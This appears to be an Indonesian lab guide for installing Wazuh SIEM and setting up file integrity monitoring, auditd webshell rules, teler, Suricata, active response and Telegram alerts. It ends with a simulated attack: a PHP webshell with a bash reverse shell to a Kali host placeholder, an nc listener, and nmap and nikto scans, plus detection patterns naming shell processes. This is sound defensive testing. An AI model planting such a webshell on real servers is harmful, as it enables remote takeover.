Dokumentasi sederhana untuk instalasi dan konfigurasi FIM pada Wazuh Security Information and Event Management (SIEM)
Wazuh adalah platform keamanan open-source yang menyediakan deteksi ancaman, monitoring integritas, respons insiden, dan compliance untuk berbagai environment.
Instalasi Wazuh mencakup dua komponen utama: Wazuh Server dan Wazuh Agent. Wazuh Server berfungsi sebagai pusat pengelolaan dan analisis data keamanan dari seluruh endpoint, sementara Wazuh Agent adalah agen ringan yang terpasang pada sistem endpoint untuk mengumpulkan log dan aktivitas sistem, serta mengirimkannya ke server untuk dianalisis.
sudo apt install curl -y
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a
INFO: — Summary —
.https://<wazuh-dashboard-ip>
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import
chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee -a /etc/apt/sources.list.d/wazuh.list
apt-get update
WAZUH_MANAGER="<SERVER_IP>" apt-get install wazuh-agent
systemctl daemon-reload
systemctl enable wazuh-agent
systemctl start wazuh-agent
File Integrity Monitoring (FIM) adalah fitur penting Wazuh untuk mendeteksi perubahan tidak sah pada file sistem, konfigurasi, atau file penting lainnya yang bisa menunjukkan aktivitas mencurigakan atau serangan.
sudo apt update
sudo apt install apache2
sudo apt install --no-install-recommends php
Buka browser dan akses:
http://<AGENT_IP>
Untuk memastikan Apache berjalan, pastikan halaman default Apache muncul.
ossec.conf
Edit file /var/ossec/etc/ossec.conf
pada endpoint agent dan tambahkan direktori untuk dimonitor:
<directories realtime="yes" check_all="yes" report_changes="yes">/var/www/html</directories>
auditd
sudo apt update
sudo apt install auditd
auditd
untuk dikirim ke Wazuh
<ossec_config>
<localfile>
<location>/var/log/audit/audit.log</location>
<log_format>audit</log_format>
</localfile>
</ossec_config>
sudo apachectl -S
Cari informasi user ID dari output untuk digunakan pada konfigurasi audit.rules
.
/etc/audit/rules.d/audit.rules
# Ganti <USER_ID> sesuai hasil sebelumnya
-a always,exit -F arch=b32 -S execve -F uid=<USER_ID> -F key=webshell_command_exec
-a always,exit -F arch=b64 -S execve -F uid=<USER_ID> -F key=webshell_command_exec
-a always,exit -F arch=b64 -S socket -F a0=10 -F euid=<USER_ID> -k webshell_net_connect
-a always,exit -F arch=b64 -S socket -F a0=2 -F euid=<USER_ID> -k webshell_net_connect
-a always,exit -F arch=b32 -S socket -F a0=10 -F euid=<USER_ID> -k webshell_net_connect
-a always,exit -F arch=b32 -S socket -F a0=2 -F euid=<USER_ID> -k webshell_net_connect
<ossec_config>
<localfile>
<log_format>full_command</log_format>
<command>ss -nputw | egrep '"sh"|"bash"|"csh"|"ksh"|"zsh"' | awk '{ print $5 "|" $6 }'</command>
<alias>webshell connections</alias>
<frequency>120</frequency>
</localfile>
</ossec_config>
wazuh-agent
dan auditd
sudo systemctl restart auditd
sudo systemctl restart wazuh-agent
sudo nano /var/ossec/etc/rules/webshell_rules.xml
Masukkan rule pendeteksi pembuatan dan modifikasi file berbahaya (misalnya .php, .asp, .jsp):
<group name="linux, webshell,">
<rule id="100500" level="12">
<if_sid>554</if_sid>
<field name="file" type="pcre2">(?i).php$|.phtml$|.jsp$</field>
<description>[File creation]: Possible web shell script created</description>
</rule>
...
</group>
local_decoder.xml
<decoder name="network-traffic-child">
<parent>ossec</parent>
<prematch>^output: 'webshell connections':</prematch>
<regex>(\d+.\d+.\d+.\d+):(\d+)\|(\d+.\d+.\d+.\d+):(\d+)</regex>
<order>local_ip, local_port, foreign_ip, foreign_port</order>
</decoder>
sudo systemctl restart wazuh-manager
Teler adalah HTTP Intrusion Detection System (IDS) ringan yang mendeteksi berbagai serangan web seperti HTML injection, file upload, dan directory traversal. Integrasi ini memungkinkan log teler dimonitor oleh Wazuh.
wget https://github.com/kitabisa/teler/releases/download/v2.0.0-rc.3/teler_2.0.0-rc.3_linux_amd64.tar.gz
tar -xvzf teler_2.0.0-rc.3_linux_amd64.tar.gz
wget https://github.com/kitabisa/teler/blob/v2/teler.example.yaml
mv teler.example.yaml teler.yaml
teler.yaml
Isi bagian:
log_format: |
$remote_addr - $remote_user [$time_local] "$request_method $request_uri $request_protocol" $status $body_bytes_sent "$http_referer" "$http_user_agent"
logs:
active: true
json: true
path: /var/log/teler/output.log
sudo mkdir /var/log/teler
<localfile>
<log_format>syslog</log_format>
<location>/var/log/teler/output.log</location>
</localfile>
sudo systemctl restart wazuh-agent
sudo tail -f /var/log/apache2/access.log | ./teler -c teler.yaml
Edit /var/ossec/etc/rules/local_rules.xml
dan tambahkan:
<group name="teler,">
<rule id="100012" level="10">
<decoded_as>json</decoded_as>
<field name="category">Common Web Attack(: .*)?|CVE-[0-9]{4}-[0-9]{4,7}</field>
<description>teler detected $(category) against $(request_uri)</description>
</rule>
...
</group>
sudo systemctl restart wazuh-manager
Suricata adalah sistem deteksi intrusi jaringan (NIDS) yang mampu memantau lalu lintas jaringan secara real-time. Integrasi dengan Wazuh memungkinkan korelasi log yang lebih baik.
sudo apt install suricata
sudo suricata-update
sudo systemctl daemon-reload
sudo systemctl enable suricata
sudo systemctl start suricata
sudo apt install apache2 php
Lalu akses:
http://<UBUNTU_IP>
sudo /var/ossec/bin/agent_groups -a -g Suricata -q
sudo /var/ossec/bin/manage_agents -l
sudo /var/ossec/bin/agent_groups -a -i <AGENT_ID> -g Suricata -q
Edit /var/ossec/etc/shared/Suricata/agent.conf
:
<agent_config>
<localfile>
<log_format>json</log_format>
<location>/var/log/suricata/eve.json</location>
</localfile>
</agent_config>
Ke file local_decoder.xml
:
<decoder name="json">
<prematch>^{\s*"</prematch>
</decoder>
<decoder name="json_child">
<parent>json</parent>
<regex type="pcre2">"src_ip":"([^"]+)"</regex>
<order>srcip</order>
</decoder>
<decoder name="json_child">
<parent>json</parent>
<plugin_decoder>JSON_Decoder</plugin_decoder>
</decoder>
Edit /var/ossec/etc/rules/local_rules.xml
:
<group name="suricata_rules,">
<rule id="100015" level="12">
<if_sid>86600</if_sid>
<field name="event_type">^alert$</field>
<match>ET SCAN Nmap Scripting Engine User-Agent Detected</match>
<description>Nmap scripting engine detected.</description>
<mitre><id>T1595</id></mitre>
</rule>
</group>
firewall-drop
<command>
<name>firewall-drop</name>
<executable>firewall-drop</executable>
<timeout_allowed>yes</timeout_allowed>
</command>
<active-response>
<command>firewall-drop</command>
<location>local</location>
<rules_id>100015</rules_id>
<timeout>180</timeout>
</active-response>
sudo systemctl restart wazuh-manager
Integrasi dengan Telegram memungkinkan Anda menerima notifikasi alert dari Wazuh secara real-time melalui bot yang dikonfigurasi.
@BotFather
di Telegram:/start
lalu /newbot
@myidbot
dan kirim /getgroupid
untuk mendapatkan Group IDsudo apt install pip -y
pip install requests
sudo nano /var/ossec/integrations/custom-telegram
Isi file shell:
#!/bin/sh
WPYTHON_BIN="framework/python/bin/python3"
SCRIPT_PATH_NAME="$0"
DIR_NAME="$(cd $(dirname ${SCRIPT_PATH_NAME}); pwd -P)"
SCRIPT_NAME="$(basename ${SCRIPT_PATH_NAME})"
WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"
PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"
${WAZUH_PATH}/${WPYTHON_BIN} ${PYTHON_SCRIPT} "$@"
sudo nano /var/ossec/integrations/custom-telegram.py
Isi file Python:
#!/usr/bin/env python
import sys, json, requests
CHAT_ID="-826434xxx"
alert_file = open(sys.argv[1])
hook_url = sys.argv[3]
alert_json = json.loads(alert_file.read())
alert_file.close()
alert_level = alert_json['rule'].get('level', "N/A")
description = alert_json['rule'].get('description', "N/A")
agent = alert_json['agent'].get('name', "N/A")
msg_data = {
'chat_id': CHAT_ID,
'text': f"Description: {description}\nAlert Level: {alert_level}\nAgent: {agent}"
}
headers = {'content-type': 'application/json'}
requests.post(hook_url, headers=headers, data=json.dumps(msg_data))
sys.exit(0)
sudo chown root:wazuh /var/ossec/integrations/custom-telegram*
sudo chmod 750 /var/ossec/integrations/custom-telegram*
ossec.conf
<integration>
<name>custom-telegram</name>
<level>10</level>
<hook_url>https://api.telegram.org/bot<API_KEY>/sendMessage</hook_url>
<alert_format>json</alert_format>
</integration>
sudo systemctl restart wazuh-manager
Untuk menguji integrasi dan deteksi, berikut simulasi serangan umum: webshell, port scanning (Nmap), dan serangan web menggunakan Nikto.
touch /var/www/html/webshell-script.php
echo 'Hello world!' > /var/www/html/webshell-script.php
echo -e "<?php exec('/bin/bash -c \\"bash -i >& /dev/tcp/<KALI_IP>/4444 0>&1\\"');?>" > /var/www/html/webshell-script.php
nc -lvp 4444
http://<UBUNTU_IP>/webshell-script.php
sudo nmap -sS --script=vuln <AGENT_IP>
nikto -h http://<AGENT_IP>/